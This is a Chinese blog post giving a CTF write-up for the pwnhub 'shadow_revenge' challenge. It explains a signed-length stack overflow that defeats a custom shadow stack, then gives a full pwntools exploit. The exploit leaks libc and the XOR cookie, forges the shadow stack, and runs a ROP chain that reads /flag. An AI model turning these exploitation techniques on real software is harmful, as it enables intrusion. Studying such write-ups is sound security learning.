美文网首页
pwnhub期末公开赛pwn题解

pwnhub期末公开赛pwn题解

作者: liwl23 | 来源:发表于2020-07-08 13:05 被阅读0次

    shadow_revenge

    binary,提取码: uwpi

    程序逻辑

    1. 程序实现了一个"影子栈",当函数被调用时,返回地址,ebp以及esp都会存到"影子栈"上,返回时从影子栈上取ebp,esp和返回地址.在这种情况下,直接利用溢出覆盖是无法控制ebp,esp以及返回地址的.
    2. 另外,影子栈上的的内容仅仅在pop和push时才会可读可写,这使我们无法修改影子栈.
    3. "影子栈"上存储的数据为gs:0x18处与原始数据的异或.
    4. 程序的主要功能主要在于一个循环,在循环中,我们可以输入自己的名字和消息,然后程序将他们回显出来.

    存在的漏洞

    在接收用户输入的消息时,程序会先让用户输入消息长度,如果长度大于20则设置为20,然后根据长度将消息读入缓冲区s中. 看起来很安全,但是由于此处的长度是一个有符号整数,所以我们输入-1可以通过验证并可以在读取的时候导致栈溢出.

    利用

    注意到s上方存有name的指针,name的长度以及循环的最大次数.我们通过溢出可以修改溢出次数来绕过循环次数的限制.同时也可以通过修改name指针来读写任意内存.因此利用步骤如下:

    1. 读取got表的内容,泄露libc的基址.
    2. 读取gs:0x18处的内容,用于伪造"影子栈".需要注意的是,gs:0x18对应的地址并不能计算出来,只能通过在内存中搜索得到.
    3. 在SHADOW_BASE+0x1000 后面找个位置写入伪造的"影子栈"和ROP链(因为程序限制了SHADOW_TOP的范围);ROP链主要是打开"/flag",读取并显示其中的内容.
    4. 修改SHADOW_TOP使其指向伪造的"影子栈",当函数返回时,就会执行我们的ROP链.

    脚本:

    from pwn import *
    
    # conn = ssh("root",'localhost',2222,'waterdrop').process(["ld.so","./pwn"],env={"LD_LIBRARY_PATH":"."},)
    conn = remote("52.130.87.223",10001)
    e = ELF("./pwn")
    libc = ELF("./libc.so.6_r")
    context.log_level = 'debug'
    
    
    def one_loop(msg, name=None, choose=True, no_ret=False):
        if choose:
            conn.sendlineafter('(y/n)', 'y' if name is not None else 'n')
        if name is not None:
            conn.sendafter('name : ', name)
        conn.sendafter('length :', '-1\n')
        conn.sendafter('message :', msg)
        if not no_ret:
            conn.recvuntil(') <')
            name = conn.recvuntil('> ', drop=True)
            return name
    
    
    libc.address = u32(
        one_loop(b'A' * 0x34 + p32(e.got['puts']) + p32(0x30) + p32(0xffff), 'liwl23', choose=False)[:4].ljust(4,
                                                                                                               b'\x00')) - \
                libc.symbols['puts']
    print('libc=>{}'.format(hex(libc.address)))
    payload_addr = e.bss(0x500)
    stack_top = u32(one_loop(b'A' * 0x34 + p32(0x804B034) + p32(0xffff) + p32(0xffff))[:4].ljust(4, b'\x00'))
    print("stack_top=>{}".format(hex(stack_top)))
    print("stack_base=>{}".format(hex(stack_top//16**3*16**3)))
    print("cookie addr=>{}".format(hex(libc.address-0x1000+0x718)))
    cookie = u32(one_loop(b'A' * 0x34 + p32(libc.address-0x1000+0x718) + p32(0xffff) + p32(0xffff))[:4].ljust(4, b'\x00'))
    print("cookie=>{}".format(hex(cookie)))
    print("cookie=>{}".format(hex(cookie^0x8048CD0)))
    one_loop(b'A' * 0x34 + p32(stack_top//16**3*16**3+0x1000+0x7a0) + p32(0xffff) + p32(0xffff))
    target_addr = stack_top//16**3*16**3+0x1000+0x7a0
    print('targte =>{}'.format(hex(target_addr)))
    # gdb.attach(conn,'b * 0x8048AFC')
    payload = p64(libc.symbols['open']^cookie)+p64(0)+p64(e.bss(0x500)^cookie)+p64(0)\
              +p64((target_addr+3*16+4*0x50)^cookie)+p64(0)+b'A'*(+4*0x50)+p32(0x08048ddc)\
              +p32(target_addr+3*16+4*0x50+22*4)+p32(0)+p32(0)+p32(libc.symbols['open'])+p32(0x08048ddc)\
              +p32(target_addr+3*16+4*0x50+20*4)+p32(2)+p32(0)+p32(libc.symbols['read'])+p32(0x8048ddc)\
              +p32(3)+p32(0x0804b000+0x200)+p32(0x30)+p32(libc.symbols['write'])+p32(0x8048ddc)\
              +p32(1)+p32(0x0804b000+0x200)+p32(0x30)+p32(0)+b'/flag\x00\x00\x00'+b'/flag\x00'
    one_loop(b'A'*0x34+p32(0x804B034)+p32(0xffff)+p32(0xffff),payload,choose=False)
    # one_loop(b'A'*0x34+p32(0x804B034)+p32(0xffff)+p32(0xffff),p32(target_addr+16*3))
    conn.sendlineafter('(y/n)', 'y')
    conn.sendafter('name : ', p32(target_addr+16*3))
    print(conn.recv(0x30))
    conn.interactive()
    # change s
    # one_loop('A',payload)
    if __name__ == '__main__':
        pass
    

    相关文章

      网友评论

          本文标题:pwnhub期末公开赛pwn题解

          本文链接:https://www.haomeiwen.com/subject/vvzqcktx.html